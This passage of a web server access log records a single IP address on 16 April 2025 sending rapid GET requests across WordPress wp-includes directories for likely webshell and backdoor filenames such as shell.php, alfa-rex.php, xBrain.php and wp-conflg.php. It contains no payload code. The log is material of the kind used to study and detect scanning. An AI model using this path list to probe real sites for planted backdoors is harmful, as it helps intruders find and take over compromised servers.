HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:36 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:36 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:37 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:38 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:38 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:39 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:39 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:40 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:41 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:42 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:42 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:43 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:44 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:44 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:45 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:45 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:46 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:47 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:48 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:48 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:49 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:50 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:50 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:51 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:52 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:52 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:53 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:54 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:54 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:55 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:55 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:56 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:56 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:57 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:58 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:58 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:59 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:23:59 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:00 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:00 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:01 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:01 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:02 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:03 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:03 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:04 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:04 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:05 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:05 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:06 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:07 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:07 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:08 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:08 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:09 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:09 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:10 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:11 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:11 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:12 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:12 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:13 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:14 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:14 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:15 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:15 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:16 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:17 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:17 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:18 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:18 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:19 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:19 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:20 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:21 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:21 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:22 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:22 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:23 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:24 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:24 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:25 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:25 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:26 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:27 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:28 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:29 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:29 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:30 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:31 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:31 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:32 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:33 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:34 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:34 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:35 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:36 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:36 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:37 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:37 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:38 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:38 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:39 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:40 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:40 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:41 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:41 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:42 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:42 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:43 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:43 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:44 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:45 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:45 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:46 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:46 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:47 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:48 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:48 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:49 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:49 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:50 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:50 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:51 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:52 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:52 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:53 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:53 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:54 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:54 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:55 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:55 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:56 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:57 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:57 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:58 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:58 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:59 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:24:59 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:00 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:00 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:01 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:01 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:02 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:03 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:04 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:04 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:05 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:06 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:06 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:07 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:08 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:09 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:09 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:10 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:11 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:12 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:12 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:13 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:13 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:14 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:15 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:15 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:16 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:16 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:17 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:17 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:18 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:18 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:19 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:19 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:20 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:20 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:21 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:21 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:22 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:22 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:23 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:23 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:24 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:25 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:25 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:26 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:26 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:27 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:27 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:28 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:28 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:29 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:29 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:30 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:30 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:31 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:31 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:32 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:33 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:33 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:34 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:35 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:35 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:36 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:36 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:37 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:37 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:38 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:38 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:39 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:40 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:40 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:41 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:41 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:42 -0400] "GET 